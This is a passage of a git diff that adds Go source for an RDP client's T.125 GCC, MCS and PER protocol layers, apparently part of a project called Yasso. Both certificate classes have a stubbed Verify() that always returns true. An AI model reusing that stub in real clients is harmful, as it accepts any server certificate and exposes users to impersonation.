0x00000001 + CERT_CHAIN_VERSION_2 = 0x00000002 +) + +type ChannelDef struct { + Name [8]byte + Options uint32 +} + +type ClientCoreData struct { + RdpVersion VERSION `struc:"uint32,little"` + DesktopWidth uint16 `struc:"little"` + DesktopHeight uint16 `struc:"little"` + ColorDepth ColorDepth `struc:"little"` + SasSequence Sequence `struc:"little"` + KbdLayout KeyboardLayout `struc:"little"` + ClientBuild uint32 `struc:"little"` + ClientName [32]byte `struc:"[32]byte"` + KeyboardType uint32 `struc:"little"` + KeyboardSubType uint32 `struc:"little"` + KeyboardFnKeys uint32 `struc:"little"` + ImeFileName [64]byte `struc:"[64]byte"` + PostBeta2ColorDepth ColorDepth `struc:"little"` + ClientProductId uint16 `struc:"little"` + SerialNumber uint32 `struc:"little"` + HighColorDepth HighColor `struc:"little"` + SupportedColorDepths uint16 `struc:"little"` + EarlyCapabilityFlags uint16 `struc:"little"` + ClientDigProductId [64]byte `struc:"[64]byte"` + ConnectionType uint8 `struc:"uint8"` + Pad1octet uint8 `struc:"uint8"` + ServerSelectedProtocol uint32 `struc:"little"` +} + +func NewClientCoreData() *ClientCoreData { + name, _ := os.Hostname() + var ClientName [32]byte + copy(ClientName[:], core.UnicodeEncode(name)[:]) + return &ClientCoreData{ + RDP_VERSION_5_PLUS, 1280, 800, RNS_UD_COLOR_8BPP, + RNS_UD_SAS_DEL, US, 3790, ClientName, KT_IBM_101_102_KEYS, + 0, 12, [64]byte{}, RNS_UD_COLOR_8BPP, 1, 0, HIGH_COLOR_24BPP, + RNS_UD_15BPP_SUPPORT | RNS_UD_16BPP_SUPPORT | RNS_UD_24BPP_SUPPORT | RNS_UD_32BPP_SUPPORT, + RNS_UD_CS_SUPPORT_ERRINFO_PDU, [64]byte{}, 0, 0, 0} +} + +func (data *ClientCoreData) Block() []byte { + buff := &bytes.Buffer{} + core.WriteUInt16LE(CS_CORE, buff) // 01C0 + core.WriteUInt16LE(0xd8, buff) // d800 + struc.Pack(buff, data) + return buff.Bytes() +} + +type ClientNetworkData struct { + ChannelCount uint32 + ChannelDefArray []ChannelDef +} + +func NewClientNetworkData() *ClientNetworkData { + return &ClientNetworkData{} +} + +func (d *ClientNetworkData) Block() []byte { + buff := &bytes.Buffer{} + core.WriteUInt16LE(CS_NET, buff) // type + core.WriteUInt16LE(0x08, buff) // len 8 + buff.Write([]byte{0, 0, 0, 0}) // data + return buff.Bytes() +} + +type ClientSecurityData struct { + EncryptionMethods uint32 + ExtEncryptionMethods uint32 +} + +func NewClientSecurityData() *ClientSecurityData { + return &ClientSecurityData{ + ENCRYPTION_FLAG_40BIT | ENCRYPTION_FLAG_56BIT | ENCRYPTION_FLAG_128BIT, + 00} +} + +func (d *ClientSecurityData) Block() []byte { + buff := &bytes.Buffer{} + core.WriteUInt16LE(CS_SECURITY, buff) // type + core.WriteUInt16LE(0x0c, buff) // len 12 + core.WriteUInt32LE(d.EncryptionMethods, buff) + core.WriteUInt32LE(d.ExtEncryptionMethods, buff) + return buff.Bytes() +} + +type RSAPublicKey struct { + Magic uint32 `struc:"little"` //0x31415352 + Keylen uint32 `struc:"little,sizeof=Modulus"` + Bitlen uint32 `struc:"little"` + Datalen uint32 `struc:"little"` + PubExp uint32 `struc:"little"` + Modulus []byte `struc:"little"` + Padding []byte `struc:"[8]byte"` +} + +type ProprietaryServerCertificate struct { + DwSigAlgId uint32 `struc:"little"` //0x00000001 + DwKeyAlgId uint32 `struc:"little"` //0x00000001 + PublicKeyBlobType uint16 `struc:"little"` //0x0006 + PublicKeyBlobLen uint16 `struc:"little,sizeof=PublicKeyBlob"` + PublicKeyBlob RSAPublicKey `struc:"little"` + SignatureBlobType uint16 `struc:"little"` //0x0008 + SignatureBlobLen uint16 `struc:"little,sizeof=SignatureBlob"` + SignatureBlob []byte `struc:"little"` + //PaddingLen uint16 `struc:"little,sizeof=Padding,skip"` + Padding []byte `struc:"[8]byte"` +} + +func (p *ProprietaryServerCertificate) GetPublicKey() (uint32, []byte) { + return p.PublicKeyBlob.PubExp, p.PublicKeyBlob.Modulus +} +func (p *ProprietaryServerCertificate) Verify() bool { + //todo + return true +} +func (p *ProprietaryServerCertificate) Encrypt() []byte { + //todo + return nil +} +func (p *ProprietaryServerCertificate) Unpack(r io.Reader) error { + p.DwSigAlgId, _ = core.ReadUInt32LE(r) + p.DwKeyAlgId, _ = core.ReadUInt32LE(r) + p.PublicKeyBlobType, _ = core.ReadUint16LE(r) + p.PublicKeyBlobLen, _ = core.ReadUint16LE(r) + var b RSAPublicKey + b.Magic, _ = core.ReadUInt32LE(r) + b.Keylen, _ = core.ReadUInt32LE(r) + b.Bitlen, _ = core.ReadUInt32LE(r) + b.Datalen, _ = core.ReadUInt32LE(r) + b.PubExp, _ = core.ReadUInt32LE(r) + b.Modulus, _ = core.ReadBytes(int(b.Keylen)-8, r) + b.Padding, _ = core.ReadBytes(8, r) + p.PublicKeyBlob = b + p.SignatureBlobType, _ = core.ReadUint16LE(r) + p.SignatureBlobLen, _ = core.ReadUint16LE(r) + p.SignatureBlob, _ = core.ReadBytes(int(p.SignatureBlobLen)-8, r) + p.Padding, _ = core.ReadBytes(8, r) + + return nil +} + +type CertBlob struct { + CbCert uint32 `struc:"little,sizeof=AbCert"` + AbCert []byte `struc:"little"` +} +type X509CertificateChain struct { + NumCertBlobs uint32 `struc:"little,sizeof=CertBlobArray"` + CertBlobArray []CertBlob `struc:"little"` + Padding []byte `struc:"little"` +} + +func (p *X509CertificateChain) GetPublicKey() (uint32, []byte) { + //todo + return 0, nil +} +func (p *X509CertificateChain) Verify() bool { + return true +} +func (p *X509CertificateChain) Encrypt() []byte { + + //todo + return nil +} +func (p *X509CertificateChain) Unpack(r io.Reader) error { + return struc.Unpack(r, p) +} + +type ServerCoreData struct { + RdpVersion VERSION `struc:"uint32,little"` + ClientRequestedProtocol uint32 `struc:"little"` + EarlyCapabilityFlags uint32 `struc:"little"` +} + +func NewServerCoreData() *ServerCoreData { + return &ServerCoreData{ + RDP_VERSION_5_PLUS, 0, 0} +} + +func (d *ServerCoreData) Serialize() []byte { + return []byte{} +} + +func (d *ServerCoreData) ScType() Message { + return SC_CORE +} +func (d *ServerCoreData) Unpack(r io.Reader) error { + return struc.Unpack(r, d) +} + +type ServerNetworkData struct { + MCSChannelId uint16 `struc:"little"` + ChannelCount uint16 `struc:"little,sizeof=ChannelIdArray"` + ChannelIdArray []uint16 `struc:"little"` +} + +func NewServerNetworkData() *ServerNetworkData { + return &ServerNetworkData{} +} +func (d *ServerNetworkData) ScType() Message { + return SC_NET +} +func (d *ServerNetworkData) Unpack(r io.Reader) error { + return struc.Unpack(r, d) +} + +type CertData interface { + GetPublicKey() (uint32, []byte) + Verify() bool + Unpack(io.Reader) error +} +type ServerCertificate struct { + DwVersion uint32 + CertData CertData +} +type ServerSecurityData struct { + EncryptionMethod uint32 `struc:"little"` + EncryptionLevel uint32 `struc:"little"` + ServerRandomLen uint32 //0x00000020 + ServerCertLen uint32 + ServerRandom []byte + ServerCertificate ServerCertificate +} + +func NewServerSecurityData() *ServerSecurityData { + return &ServerSecurityData{ + 0, 0, 0x00000020, 0, []byte{}, ServerCertificate{}} +} +func (d *ServerSecurityData) ScType() Message { + return SC_SECURITY +} +func (s *ServerSecurityData) Unpack(r io.Reader) error { + s.EncryptionMethod, _ = core.ReadUInt32LE(r) + s.EncryptionLevel, _ = core.ReadUInt32LE(r) + if !(s.EncryptionMethod == 0 && s.EncryptionLevel == 0) { + s.ServerRandomLen, _ = core.ReadUInt32LE(r) + s.ServerCertLen, _ = core.ReadUInt32LE(r) + s.ServerRandom, _ = core.ReadBytes(int(s.ServerRandomLen), r) + var sc ServerCertificate + data, _ := core.ReadBytes(int(s.ServerCertLen), r) + rd := bytes.NewReader(data) + sc.DwVersion, _ = core.ReadUInt32LE(rd) + var cd CertData + switch CertificateType(sc.DwVersion & 0x7fffffff) { + case CERT_CHAIN_VERSION_1: + glog.Debug("ProprietaryServerCertificate") + cd = &ProprietaryServerCertificate{} + case CERT_CHAIN_VERSION_2: + glog.Debug("X509CertificateChain") + cd = &X509CertificateChain{} + default: + glog.Error("Unsupported version:", sc.DwVersion&0x7fffffff) + return errors.New("Unsupported version") + } + if cd != nil { + //err := struc.Unpack(rd, cd) + err := cd.Unpack(rd) + if err != nil { + glog.Error("Unpack:", err) + return err + } + glog.Infof("d:%+v", cd) + } + sc.CertData = cd + s.ServerCertificate = sc + } + + return nil +} + +func MakeConferenceCreateRequest(userData []byte) []byte { + buff := &bytes.Buffer{} + per.WriteChoice(0, buff) // 00 + per.WriteObjectIdentifier(t124_02_98_oid, buff) // 05:00:14:7c:00:01 + per.WriteLength(len(userData)+14, buff) + per.WriteChoice(0, buff) // 00 + per.WriteSelection(0x08, buff) // 08 + per.WriteNumericString("1", 1, buff) // 00 10 + per.WritePadding(1, buff) // 00 + per.WriteNumberOfSet(1, buff) // 01 + per.WriteChoice(0xc0, buff) // c0 + per.WriteOctetStream(h221_cs_key, 4, buff) // 00 44:75:63:61 + per.WriteOctetStream(string(userData), 0, buff) + return buff.Bytes() +} + +type ScData interface { + ScType() Message + Unpack(io.Reader) error +} + +func ReadConferenceCreateResponse(data []byte) []interface{} { + ret := make([]interface{}, 0, 3) + r := bytes.NewReader(data) + per.ReadChoice(r) + if !per.ReadObjectIdentifier(r, t124_02_98_oid) { + glog.Error("NODE_RDP_PROTOCOL_T125_GCC_BAD_OBJECT_IDENTIFIER_T124") + return ret + } + per.ReadLength(r) + per.ReadChoice(r) + per.ReadInteger16(r) + per.ReadInteger(r) + per.ReadEnumerates(r) + per.ReadNumberOfSet(r) + per.ReadChoice(r) + + if !per.ReadOctetStream(r, h221_sc_key, 4) { + glog.Error("NODE_RDP_PROTOCOL_T125_GCC_BAD_H221_SC_KEY") + return ret + } + + glog.Debug("all:", SC_CORE, SC_SECURITY, SC_NET, + CS_CORE, CS_SECURITY, CS_NET, CS_CLUSTER, CS_MONITOR) + + ln, _ := per.ReadLength(r) + for ln > 0 { + t, _ := core.ReadUint16LE(r) + l, _ := core.ReadUint16LE(r) + dataBytes, _ := core.ReadBytes(int(l)-4, r) + ln = ln - l + var d ScData + switch Message(t) { + case SC_CORE: + d = &ServerCoreData{} + case SC_SECURITY: + d = &ServerSecurityData{} + case SC_NET: + d = &ServerNetworkData{} + default: + glog.Error("Unknown type", t) + continue + } + r := bytes.NewReader(dataBytes) + err := d.Unpack(r) + if err != nil { + glog.Error("Unpack:", err) + if err.Error() != "EOF" { + return ret + } + } + ret = append(ret, d) + glog.Debugf("d:%+v", d) + } + + return ret +} diff --git a/pkg/grdp/protocol/t125/mcs.go b/pkg/grdp/protocol/t125/mcs.go new file mode 100644 index 0000000..7b969c3 --- /dev/null +++ b/pkg/grdp/protocol/t125/mcs.go @@ -0,0 +1,537 @@ +package t125 + +import ( + "bytes" + "encoding/hex" + "errors" + "fmt" + "io" + "reflect" + + "Yasso/pkg/grdp/core" + "Yasso/pkg/grdp/emission" + "Yasso/pkg/grdp/glog" + "Yasso/pkg/grdp/protocol/t125/ber" + "Yasso/pkg/grdp/protocol/t125/gcc" + "Yasso/pkg/grdp/protocol/t125/per" +) + +// take idea from https://github.com/Madnikulin50/gordp + +// Multiple Channel Service layer + +type MCSMessage uint8 + +const ( + MCS_TYPE_CONNECT_INITIAL MCSMessage = 0x65 + MCS_TYPE_CONNECT_RESPONSE = 0x66 +) + +type MCSDomainPDU uint16 + +const ( + ERECT_DOMAIN_REQUEST MCSDomainPDU = 1 + DISCONNECT_PROVIDER_ULTIMATUM = 8 + ATTACH_USER_REQUEST = 10 + ATTACH_USER_CONFIRM = 11 + CHANNEL_JOIN_REQUEST = 14 + CHANNEL_JOIN_CONFIRM = 15 + SEND_DATA_REQUEST = 25 + SEND_DATA_INDICATION = 26 +) + +const ( + MCS_GLOBAL_CHANNEL uint16 = 1003 + MCS_USERCHANNEL_BASE = 1001 +) + +/** + * Format MCS PDULayer header packet + * @param mcsPdu {integer} + * @param options {integer} + * @returns {type.UInt8} headers + */ +func writeMCSPDUHeader(mcsPdu MCSDomainPDU, options uint8, w io.Writer) { + core.WriteUInt8((uint8(mcsPdu)<<2)|options, w) +} + +func readMCSPDUHeader(options uint8, mcsPdu MCSDomainPDU) bool { + return (options >> 2) == uint8(mcsPdu) +} + +type DomainParameters struct { + MaxChannelIds int + MaxUserIds int + MaxTokenIds int + NumPriorities int + MinThoughput int + MaxHeight int + MaxMCSPDUsize int + ProtocolVersion int +} + +/** + * @see http://www.itu.int/rec/T-REC-T.125-199802-I/en page 25 + * @returns {asn1.univ.Sequence} + */ +func NewDomainParameters( + maxChannelIds int, + maxUserIds int, + maxTokenIds int, + numPriorities int, + minThoughput int, + maxHeight int, + maxMCSPDUsize int, + protocolVersion int) *DomainParameters { + return &DomainParameters{maxChannelIds, maxUserIds, maxTokenIds, + numPriorities, minThoughput, maxHeight, maxMCSPDUsize, protocolVersion} +} + +func (d *DomainParameters) BER() []byte { + buff := &bytes.Buffer{} + ber.WriteInteger(d.MaxChannelIds, buff) + ber.WriteInteger(d.MaxUserIds, buff) + ber.WriteInteger(d.MaxTokenIds, buff) + ber.WriteInteger(1, buff) + ber.WriteInteger(0, buff) + ber.WriteInteger(1, buff) + ber.WriteInteger(d.MaxMCSPDUsize, buff) + ber.WriteInteger(2, buff) + return buff.Bytes() +} + +func ReadDomainParameters(r io.Reader) (*DomainParameters, error) { + if !ber.ReadUniversalTag(ber.TAG_SEQUENCE, true, r) { + return nil, errors.New("bad BER tags") + } + d := &DomainParameters{} + ber.ReadLength(r) + + d.MaxChannelIds, _ = ber.ReadInteger(r) + d.MaxUserIds, _ = ber.ReadInteger(r) + d.MaxTokenIds, _ = ber.ReadInteger(r) + ber.ReadInteger(r) + ber.ReadInteger(r) + ber.ReadInteger(r) + d.MaxMCSPDUsize, _ = ber.ReadInteger(r) + ber.ReadInteger(r) + return d, nil +} + +/** + * @see http://www.itu.int/rec/T-REC-T.125-199802-I/en page 25 + * @param userData {Buffer} + * @returns {asn1.univ.Sequence} + */ +type ConnectInitial struct { + CallingDomainSelector []byte + CalledDomainSelector []byte + UpwardFlag bool + TargetParameters DomainParameters + MinimumParameters DomainParameters + MaximumParameters DomainParameters + UserData []byte +} + +func NewConnectInitial(userData []byte) ConnectInitial { + return ConnectInitial{[]byte{0x1}, + []byte{0x1}, + true, + *NewDomainParameters(34, 2, 0, 1, 0, 1, 0xffff, 2), + *NewDomainParameters(1, 1, 1, 1, 0, 1, 0x420, 2), + *NewDomainParameters(0xffff, 0xfc17, 0xffff, 1, 0, 1, 0xffff, 2), + userData} +} + +func (c *ConnectInitial) BER() []byte { + buff := &bytes.Buffer{} + ber.WriteOctetstring(string(c.CallingDomainSelector), buff) + ber.WriteOctetstring(string(c.CalledDomainSelector), buff) + ber.WriteBoolean(c.UpwardFlag, buff) + ber.WriteEncodedDomainParams(c.TargetParameters.BER(), buff) + ber.WriteEncodedDomainParams(c.MinimumParameters.BER(), buff) + ber.WriteEncodedDomainParams(c.MaximumParameters.BER(), buff) + ber.WriteOctetstring(string(c.UserData), buff) + return buff.Bytes() +} + +/** + * @see http://www.itu.int/rec/T-REC-T.125-199802-I/en page 25 + * @returns {asn1.univ.Sequence} + */ + +type ConnectResponse struct { + result uint8 + calledConnectId int + domainParameters *DomainParameters + userData []byte +} + +func NewConnectResponse(userData []byte) *ConnectResponse { + return &ConnectResponse{0, + 0, + NewDomainParameters(22, 3, 0, 1, 0, 1, 0xfff8, 2), + userData} +} + +func ReadConnectResponse(r io.Reader) (*ConnectResponse, error) { + c := &ConnectResponse{} + var err error + _, err = ber.ReadApplicationTag(MCS_TYPE_CONNECT_RESPONSE, r) + if err != nil { + return nil, err + } + c.result, err = ber.ReadEnumerated(r) + if err != nil { + return nil, err + } + + c.calledConnectId, err = ber.ReadInteger(r) + c.domainParameters, err = ReadDomainParameters(r) + if err != nil { + return nil, err + } + if !ber.ReadUniversalTag(ber.TAG_OCTET_STRING, false, r) { + return nil, errors.New("invalid expected BER tag") + } + dataLen, _ := ber.ReadLength(r) + c.userData, err = core.ReadBytes(dataLen, r) + return c, err +} + +type MCSChannelInfo struct { + ID uint16 + Name string +} + +type MCS struct { + emission.Emitter + transport core.Transport + recvOpCode MCSDomainPDU + sendOpCode MCSDomainPDU + channels []MCSChannelInfo +} + +func NewMCS(t core.Transport, recvOpCode MCSDomainPDU, sendOpCode MCSDomainPDU) *MCS { + m := &MCS{ + *emission.NewEmitter(), + t, + recvOpCode, + sendOpCode, + []MCSChannelInfo{{MCS_GLOBAL_CHANNEL, "global"}}, + } + + m.transport.On("close", func() { + m.Emit("close") + }).On("error", func(err error) { + m.Emit("error", err) + }) + return m +} + +func (x *MCS) Read(b []byte) (n int, err error) { + return x.transport.Read(b) +} + +func (x *MCS) Write(b []byte) (n int, err error) { + return x.transport.Write(b) +} + +func (m *MCS) Close() error { + return m.transport.Close() +} + +type MCSClient struct { + *MCS + clientCoreData *gcc.ClientCoreData + clientNetworkData *gcc.ClientNetworkData + clientSecurityData *gcc.ClientSecurityData + + serverCoreData *gcc.ServerCoreData + serverNetworkData *gcc.ServerNetworkData + serverSecurityData *gcc.ServerSecurityData + + channelsConnected int + userId uint16 + nbChannelRequested int +} + +func NewMCSClient(t core.Transport) *MCSClient { + c := &MCSClient{ + MCS: NewMCS(t, SEND_DATA_INDICATION, SEND_DATA_REQUEST), + clientCoreData: gcc.NewClientCoreData(), + clientNetworkData: gcc.NewClientNetworkData(), + clientSecurityData: gcc.NewClientSecurityData(), + userId: 1 + MCS_USERCHANNEL_BASE, + } + c.transport.On("connect", c.connect) + return c +} + +func (c *MCSClient) SetClientCoreData(width, height uint16) { + c.clientCoreData.DesktopWidth = width + c.clientCoreData.DesktopHeight = height +} + +func (c *MCSClient) connect(selectedProtocol uint32) { + glog.Debug("mcs client on connect", selectedProtocol) + c.clientCoreData.ServerSelectedProtocol = selectedProtocol + + // sendConnectInitial + userDataBuff := bytes.Buffer{} + userDataBuff.Write(c.clientCoreData.Block()) + userDataBuff.Write(c.clientNetworkData.Block()) + userDataBuff.Write(c.clientSecurityData.Block()) + + ccReq := gcc.MakeConferenceCreateRequest(userDataBuff.Bytes()) + connectInitial := NewConnectInitial(ccReq) + connectInitialBerEncoded := connectInitial.BER() + + dataBuff := &bytes.Buffer{} + ber.WriteApplicationTag(uint8(MCS_TYPE_CONNECT_INITIAL), len(connectInitialBerEncoded), dataBuff) + dataBuff.Write(connectInitialBerEncoded) + + _, err := c.transport.Write(dataBuff.Bytes()) + if err != nil { + c.Emit("error", errors.New(fmt.Sprintf("mcs sendConnectInitial write error %v", err))) + return + } + glog.Debug("mcs wait for data event") + c.transport.Once("data", c.recvConnectResponse) +} + +func (c *MCSClient) recvConnectResponse(s []byte) { + glog.Debug("mcs recvConnectResponse", hex.EncodeToString(s)) + cResp, err := ReadConnectResponse(bytes.NewReader(s)) + if err != nil { + c.Emit("error", errors.New(fmt.Sprintf("ReadConnectResponse %v", err))) + return + } + // record server gcc block + serverSettings := gcc.ReadConferenceCreateResponse(cResp.userData) + + for _, v := range serverSettings { + + switch v.(type) { + case *gcc.ServerSecurityData: + c.serverSecurityData = v.(*gcc.ServerSecurityData) + + case *gcc.ServerCoreData: + c.serverCoreData = v.(*gcc.ServerCoreData) + + case *gcc.ServerNetworkData: + c.serverNetworkData = v.(*gcc.ServerNetworkData) + + default: + err := errors.New(fmt.Sprintf("unhandle server gcc block %v", reflect.TypeOf(v))) + glog.Error(err) + c.Emit("error", err) + return + } + } + glog.Debugf("serverSecurityData: %+v", c.serverSecurityData) + glog.Debugf("serverCoreData: %+v", c.serverCoreData) + glog.Debugf("serverNetworkData: %+v", c.serverNetworkData) + glog.Debug("mcs sendErectDomainRequest") + c.sendErectDomainRequest() + + glog.Debug("mcs sendAttachUserRequest") + c.sendAttachUserRequest() + + c.transport.Once("data", c.recvAttachUserConfirm) +} + +func (c *MCSClient) sendErectDomainRequest() { + buff := &bytes.Buffer{} + writeMCSPDUHeader(ERECT_DOMAIN_REQUEST, 0, buff) + per.WriteInteger(0, buff) + per.WriteInteger(0, buff) + c.transport.Write(buff.Bytes()) +} + +func (c *MCSClient) sendAttachUserRequest() { + buff := &bytes.Buffer{} + writeMCSPDUHeader(ATTACH_USER_REQUEST, 0, buff) + c.transport.Write(buff.Bytes()) +} + +func (c *MCSClient) recvAttachUserConfirm(s []byte) { + glog.Debug("mcs recvAttachUserConfirm", hex.EncodeToString(s)) + r := bytes.NewReader(s) + + option, err := core.ReadUInt8(r) + if err != nil { + c.Emit("error", err) + return + } + + if !readMCSPDUHeader(option, ATTACH_USER_CONFIRM) { + c.Emit("error", errors.New("NODE_RDP_PROTOCOL_T125_MCS_BAD_HEADER")) + return + } + + e, err := per.ReadEnumerates(r) + if err != nil { + c.Emit("error", err) + return + } + if e != 0 { + c.Emit("error", errors.New("NODE_RDP_PROTOCOL_T125_MCS_SERVER_REJECT_USER'")) + return + } + + userId, _ := per.ReadInteger16(r) + userId += MCS_USERCHANNEL_BASE + c.userId = userId + + c.channels = append(c.channels, MCSChannelInfo{userId, "user"}) + c.connectChannels() +} + +func (c *MCSClient) connectChannels() { + glog.Debug("mcs connectChannels:", c.channelsConnected, ":", len(c.channels)) + if c.channelsConnected == len(c.channels) { + //if c.nbChannelRequested < int(c.serverNetworkData.ChannelCount) { + //static virtual channel + //chanId := c.serverNetworkData.ChannelIdArray[c.nbChannelRequested] + //c.nbChannelRequested++ + //c.sendChannelJoinRequest(chanId) + //return + //} + c.transport.On("data", c.recvData) + // send client and sever gcc informations callback to sec + clientData := make([]interface{}, 0) + clientData = append(clientData, c.clientCoreData) + clientData = append(clientData, c.clientSecurityData) + clientData = append(clientData, c.clientNetworkData) + + serverData := make([]interface{}, 0) + + serverData = append(serverData, c.serverCoreData) + serverData = append(serverData, c.serverSecurityData) + glog.Debug("msc connectChannels callback to sec") + c.Emit("connect", clientData, serverData, c.userId, c.channels) + return + } + + // sendChannelJoinRequest + glog.Debug("sendChannelJoinRequest:", c.channels[c.channelsConnected].Name) + c.sendChannelJoinRequest(c.channels[c.channelsConnected].ID) + c.channelsConnected += 1 + + c.transport.Once("data", c.recvChannelJoinConfirm) +} + +func (c *MCSClient) sendChannelJoinRequest(channelId uint16) { + glog.Debug("mcs sendChannelJoinRequest", channelId) + buff := &bytes.Buffer{} + writeMCSPDUHeader(CHANNEL_JOIN_REQUEST, 0, buff) + per.WriteInteger16(c.userId-MCS_USERCHANNEL_BASE, buff) + per.WriteInteger16(channelId, buff) + c.transport.Write(buff.Bytes()) +} + +func (c *MCSClient) recvData(s []byte) { + glog.Debug("msc on data recvData:", hex.EncodeToString(s)) + + r := bytes.NewReader(s) + option, err := core.ReadUInt8(r) + if err != nil { + c.Emit("error", err) + return + } + + if readMCSPDUHeader(option, DISCONNECT_PROVIDER_ULTIMATUM) { + c.Emit("error", errors.New("MCS DISCONNECT_PROVIDER_ULTIMATUM")) + c.transport.Close() + return + } else if !readMCSPDUHeader(option, c.recvOpCode) { + c.Emit("error", errors.New("Invalid expected MCS opcode receive data")) + return + } + + userId, _ := per.ReadInteger16(r) + userId += MCS_USERCHANNEL_BASE + + channelId, _ := per.ReadInteger16(r) + per.ReadEnumerates(r) + size, _ := per.ReadLength(r) + + // channel ID doesn't match a requested layer + found := false + channelName := "" + for _, channel := range c.channels { + if channel.ID == channelId { + found = true + channelName = channel.Name + break + } + } + if !found { + glog.Error("mcs receive data for an unconnected layer") + return + } + left, err := core.ReadBytes(int(size), r) + if err != nil { + c.Emit("error", errors.New(fmt.Sprintf("mcs recvData get data error %v", err))) + return + } + glog.Debug("mcs emit channel", channelName, left) + c.Emit(channelName, left) + //c.Emit(channelName, s) +} + +func (c *MCSClient) recvChannelJoinConfirm(s []byte) { + glog.Debug("mcs recvChannelJoinConfirm", hex.EncodeToString(s)) + r := bytes.NewReader(s) + option, err := core.ReadUInt8(r) + if err != nil { + c.Emit("error", err) + return + } + + if !readMCSPDUHeader(option, CHANNEL_JOIN_CONFIRM) { + c.Emit("error", errors.New("NODE_RDP_PROTOCOL_T125_MCS_WAIT_CHANNEL_JOIN_CONFIRM")) + return + } + + confirm, _ := per.ReadEnumerates(r) + userId, _ := per.ReadInteger16(r) + userId += MCS_USERCHANNEL_BASE + if c.userId != userId { + c.Emit("error", errors.New("NODE_RDP_PROTOCOL_T125_MCS_INVALID_USER_ID")) + return + } + + channelId, _ := per.ReadInteger16(r) + if (confirm != 0) && (channelId == uint16(MCS_GLOBAL_CHANNEL) || channelId == c.userId) { + c.Emit("error", errors.New("NODE_RDP_PROTOCOL_T125_MCS_SERVER_MUST_CONFIRM_STATIC_CHANNEL")) + return + } + + /*if confirm == 0 { + for i := 0; i < int(c.serverNetworkData.ChannelCount); i++ { + if channelId == c.serverNetworkData.ChannelIdArray[i] { + c.channels[channelId] = c.serverNetworkData.ChannelIdArray[i][1] + } + } + }*/ + + c.connectChannels() +} + +func (c *MCSClient) SendToChannel(data []byte, channelId uint16) (n int, err error) { + buff := &bytes.Buffer{} + writeMCSPDUHeader(c.sendOpCode, 0, buff) + per.WriteInteger16(c.userId-MCS_USERCHANNEL_BASE, buff) + per.WriteInteger16(channelId, buff) + core.WriteUInt8(0x70, buff) + per.WriteLength(len(data), buff) + core.WriteBytes(data, buff) + glog.Debug("MCSClient write", hex.EncodeToString(buff.Bytes())) + return c.transport.Write(buff.Bytes()) +} + +func (c *MCSClient) Write(data []byte) (n int, err error) { + return c.SendToChannel(data, c.channels[0].ID) +} diff --git a/pkg/grdp/protocol/t125/per/per.go b/pkg/grdp/protocol/t125/per/per.go new file mode 100644 index 0000000..9696edd --- /dev/null +++ b/pkg/grdp/protocol/t125/per/per.go @@ -0,0 +1,203 @@ +package per + +import ( + "bytes" + "io" + + "Yasso/pkg/grdp/glog" + + "Yasso/pkg/grdp/core" +) + +func ReadEnumerates(r io.Reader) (uint8, error) { + return core.ReadUInt8(r) +} + +func WriteInteger(n int, w io.Writer) { + if n <= 0xff { + WriteLength(1, w) + core.WriteUInt8(uint8(n), w) + } else if n <= 0xffff { + WriteLength(2, w) + core.WriteUInt16BE(uint16(n), w) + } else { + WriteLength(4, w) + core.WriteUInt32BE(uint32(n), w) + } +} + +func ReadInteger16(r io.Reader) (uint16, error) { + return core.ReadUint16BE(r) +} + +func WriteInteger16(value uint16, w io.Writer) { + core.WriteUInt16BE(value, w) +} + +/** + * @param choice {integer} + * @returns {type.UInt8} choice per encoded + */ +func WriteChoice(choice uint8, w io.Writer) { + core.WriteUInt8(choice, w) +} + +/** + * @param value {raw} value to convert to per format + * @returns type objects per encoding value + */ +func WriteLength(value int, w io.Writer) { + if value > 0x7f { + core.WriteUInt16BE(uint16(value|0x8000), w) + } else { + core.WriteUInt8(uint8(value), w) + } +} + +func ReadLength(r io.Reader) (uint16, error) { + b, err := core.ReadUInt8(r) + if err != nil { + return 0, nil + } + var size uint16 + if b&0x80 > 0 { + b = b &^ 0x80 + size = uint16(b) << 8 + left, _ := core.ReadUInt8(r) + size += uint16(left) + } else { + size = uint16(b) + } + return size, nil +} + +/** + * @param oid {array} oid to write + * @returns {type.Component} per encoded object identifier + */ +func WriteObjectIdentifier(oid []byte, w io.Writer) { + core.WriteUInt8(5, w) + core.WriteByte((oid[0]<<4)&(oid[1]&0x0f), w) + core.WriteByte(oid[2], w) + core.WriteByte(oid[3], w) + core.WriteByte(oid[4], w) + core.WriteByte(oid[5], w) +} + +/** + * @param selection {integer} + * @returns {type.UInt8} per encoded selection + */ +func WriteSelection(selection uint8, w io.Writer) { + core.WriteUInt8(selection, w) +} + +func WriteNumericString(s string, minValue int, w io.Writer) { + length := len(s) + mLength := minValue + if length >= minValue { + mLength = length - minValue + } + buff := &bytes.Buffer{} + for i := 0; i < length; i += 2 { + c1 := int(s[i]) + c2 := 0x30 + if i+1 < length { + c2 = int(s[i+1]) + } + c1 = (c1 - 0x30) % 10 + c2 = (c2 - 0x30) % 10 + core.WriteUInt8(uint8((c1<<4)|c2), buff) + } + WriteLength(mLength, w) + w.Write(buff.Bytes()) +} + +func WritePadding(length int, w io.Writer) { + b := make([]byte, length) + w.Write(b) +} + +func WriteNumberOfSet(n int, w io.Writer) { + core.WriteUInt8(uint8(n), w) +} + +/** + * @param oStr {String} + * @param minValue {integer} default 0 + * @returns {type.Component} per encoded octet stream + */ +func WriteOctetStream(oStr string, minValue int, w io.Writer) { + length := len(oStr) + mlength := minValue + + if length-minValue >= 0 { + mlength = length - minValue + } + WriteLength(mlength, w) + w.Write([]byte(oStr)[:length]) +} + +func ReadChoice(r io.Reader) uint8 { + choice, _ := core.ReadUInt8(r) + return choice +} +func ReadNumberOfSet(r io.Reader) uint8 { + choice, _ := core.ReadUInt8(r) + return choice +} +func ReadInteger(r io.Reader) uint32 { + size, _ := ReadLength(r) + switch size { + case 1: + ret, _ := core.ReadUInt8(r) + return uint32(ret) + case 2: + ret, _ := core.ReadUint16BE(r) + return uint32(ret) + case 4: + ret, _ := core.ReadUInt32BE(r) + return ret + default: + glog.Info("ReadInteger") + } + return 0 +} + +func ReadObjectIdentifier(r io.Reader, oid []byte) bool { + size, _ := ReadLength(r) + if size != 5 { + return false + } + + a_oid := []byte{0, 0, 0, 0, 0, 0} + t12, _ := core.ReadByte(r) + a_oid[0] = t12 >> 4 + a_oid[1] = t12 & 0x0f + a_oid[2], _ = core.ReadByte(r) + a_oid[3], _ = core.ReadByte(r) + a_oid[4], _ = core.ReadByte(r) + a_oid[5], _ = core.ReadByte(r) + + for i, _ := range oid { + if oid[i] != a_oid[i] { + return false + } + } + return true +} +func ReadOctetStream(r io.Reader, s string, min int) bool { + ln, _ := ReadLength(r) + 